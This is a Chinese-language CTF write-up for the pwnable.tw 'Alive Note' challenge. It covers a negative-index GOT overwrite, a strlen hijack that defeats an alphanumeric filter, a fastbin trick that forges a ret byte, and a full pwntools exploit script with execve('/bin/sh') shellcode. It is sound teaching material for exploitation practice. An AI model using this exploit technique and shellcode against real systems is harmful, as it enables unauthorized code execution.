pwnable.tw Alive Note writeup

又是一道要求可打印shellcode的pwn题,没有给靶机环境,拿到shell 后 可知环境是 glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/alive_note

安全防护

ex@Ex:~/test$ checksec alive_note
[*] '/home/ex/test/alive_note'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

一道明显的shellcode题目。

溢出点

void __cdecl add_note()
{
  int index; // [esp+0h] [ebp-18h]
  char s[8]; // [esp+4h] [ebp-14h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Index :");
  index = read_int();
  if ( index > 10 )
  {
    puts("Out of bound !!");
    exit(0);
  }
  printf("Name :");
  read_input(s, 8u);
  if ( !check(s) )
  {
    puts("It must be a alnum name !");
    exit(-1);
  }
  note[index] = strdup(s);
  puts("Done !");
}

add_note函数中没有负数检查,就可以直接溢出到got表上。

思路

做完题目后,我上网看了一下,大部分师傅的做法是构造间断的可打印shellcode来读取新的shellcode。

check函数限制了输入的内容只能是空格、数字还有大小写字母。

下面是一些可以利用的指令。

printable_instruction

我的思路略有不同,我是直接修改strlen函数,让其每次都返回0,这样就能绕过check函数。而且我的做法是结合了heap来做的,所以开始的时候我就猜测靶机环境是glibc-2.23

int __cdecl check(char *s)
{
  size_t i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; strlen(s) > i; ++i )
  {
    if ( s[i] != ' ' && !((*__ctype_b_loc())[s[i]] & 8) )
      return 0;
  }
  return 1;
}

原理稍微有点复杂,由于不能输入ret指令(0xc3),所以我通过heapfastbin的单链表结构来构造一个ret指令(0xc3)。

简单来说就是前面申请指定的chunk数量,使得能获得地址为0x.....3..(点为任意十六进制)的chunk,然后利用fastbin的单链表结构,让其在chunk上踩出这个地址,然后我们就可以利用,当地址正好为0x....c3..,则我们就可以得到ret指令,受随机化影响,概率是1/16

我们要构造的就是下面这种情况:

pwndbg> fastbins 
fastbins
0x10: 0x91cc310 —▸ 0x91cc300 —▸ 0x91cc0e0 ◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
pwndbg> x/16bx 0x91cc310
0x91cc310:  0x00    0x00    0x00    0x00    0x11    0x00    0x00    0x00
0x91cc318:  0x00    0xc3    0x1c    0x09    0x00    0x00    0x00    0x00

可以看到在0x91cc318 + 1出有ret指令(0xc3)。

思路简单来说就是先把eax置为0,然后执行ret,那么就可以绕过check

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    #include <stdio.h>
    #include <stdlib.h>

    void my_init(void) __attribute__((constructor));

    void my_init()
    {
        long long p = (long long)malloc(0xf8);
        free((char *)p);
        if((p & 0xf000) != 0xc000)
        {
            exit(-1);
        }
    }
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './alive_note'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10300)
elf = ELF(execve_file)

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    define se
        set *(char *)$arg0=0xc3
        end

    b *0x8048520
    b *0x80487AE
    b *0x80488EA
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def add_note(index, name):
    sh.sendlineafter('Your choice :', '1')    
    sh.sendlineafter('Index :', str(index))
    sh.sendafter('Name :', name)

def show_note(index):
    sh.sendlineafter('Your choice :', '2')    
    sh.sendlineafter('Index :', str(index))

def del_note(index):
    sh.sendlineafter('Your choice :', '3')    
    sh.sendlineafter('Index :', str(index))

for i in range(14):
    # print(i)
    add_note(0, 'a\n')

add_note(2, 'head\n')

for i in range(5):
    add_note(0, 'a\n')
    add_note(0, 'a\n')
    add_note(0, 'a\n')
    add_note(0, 'a\n')
    '''
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    jno 0x49
    '''
    add_note(0, '\x48\x48\x48\x48\x48\x71\x49\0')

add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')

'''
dec eax
dec eax
dec eax
dec eax
dec eax
jno 0x4a
'''
add_note(0, '\x48\x48\x48\x48\x48\x71\x4a\0')

add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(1, 'a\n')

del_note(2)
del_note(0)
del_note(1)

# pause()
add_note(0, '\n')
add_note(0, '\n')
'''
push 0x20
pop eax
dec eax
dec eax
jno 0x49
'''
add_note((elf.got['strlen'] - elf.symbols['note'])/4, '\x6a\x20\x58\x48\x48\x71\x49\0')

# pause()
'''
push 0xb
pop eax
cdq
push edx
jno 0x9
'''
add_note((elf.got['free'] - elf.symbols['note'])/4, '\x6a\x0b\x58\x99\x52\x71\x09')
'''
push 0x68732F2F
jno 0x9
'''
add_note(0, '\x68\x2f\x2f\x73\x68\x71\x09')
'''
push 0x6E69622F
jno 0x9
'''
add_note(0, '\x68\x2f\x62\x69\x6e\x71\x09')
'''
mov ebx, esp
xor ecx, ecx
int 0x80
'''
add_note(0, '\x89\xe3\x31\xc9\xcd\x80')

del_note(0)

sh.sendline('cat /home/alive_note/flag')

sh.interactive()
clear()

错误思路

  1. 刚开始我尝试着用 top_chunk 的 size,来获得0xc3字节,这样成功的概率是100%,奈何要申请的chunk数量太多,只能在本地实现,根本不能在靶机的限制时间内跑完。

  2. 绕过check的第一个想法其实不是劫持strlen,最开始是劫持exit函数,让其直接ret,但是C语言上行通,汇编上却没有意义。

C语言

void __cdecl add_note()
{
  ...
  if ( !check(s) )
  {
    puts("It must be a alnum name !");
    exit(-1);
  }
  note[index] = strdup(s);
  puts("Done !");
}

汇编

.text:08048892                 call    _exit
.text:08048897 ; ---------------------------------------------------------------------------
.text:08048897
.text:08048897 loc_8048897:                            ; CODE XREF: add_note+B5j
.text:08048897                 call    ___stack_chk_fail
.text:0804889C ; ---------------------------------------------------------------------------
.text:0804889C
.text:0804889C locret_804889C:                         ; CODE XREF: add_note+B3j
.text:0804889C                 leave
.text:0804889D                 retn

从汇编可以看出即使直接retexit函数,但是其并没有note[index] = strdup(s);操作,那么就毫无意义。

  1. 期初劫持strlen的时候,我的第一做法并不是直接返回0,而是直接ret到add—_note函数,但是这样ebp并没有恢复,所以会破坏栈导致crash。
pwndbg> stack
00:0000esp  0xfff4b6dc —▸ 0x80487b3 (check+90) ◂— add    esp, 0x10
01:0004│      0xfff4b6e0 —▸ 0xfff4b724 ◂— 0x99580b6a
... ↓
03:000c│      0xfff4b6e8 ◂— 0x8
04:0010│      0xfff4b6ec —▸ 0xf7e64a4e (printf+45) ◂— add    esp, 0x1c
05:0014│      0xfff4b6f0 —▸ 0xf7fb2d60 (_IO_2_1_stdout_) ◂— xchg   dword ptr [eax], ebp /* 0xfbad2887 */
06:0018│      0xfff4b6f4 —▸ 0x8048b43 ◂— dec    esi /* 'Name :' */
07:001c│      0xfff4b6f8 —▸ 0xfff4b714 ◂— 0x8
pwndbg> 
08:0020│      0xfff4b6fc ◂— 0x0
09:0024│      0xfff4b700 —▸ 0xfff4b71c —▸ 0x80487ec (add_note+38) ◂— mov    dword ptr [ebp - 0x18], eax
... ↓
0b:002cebp  0xfff4b708 —▸ 0xfff4b738 —▸ 0xfff4b748 ◂— 0x0
0c:0030│      0xfff4b70c —▸ 0x804883c (add_note+118) ◂— add    esp, 0x10
0d:0034│      0xfff4b710 —▸ 0xfff4b724 ◂— 0x99580b6a
0e:0038│      0xfff4b714 ◂— 0x8
0f:003c│      0xfff4b718 —▸ 0xfff4b738 —▸ 0xfff4b748 ◂— 0x0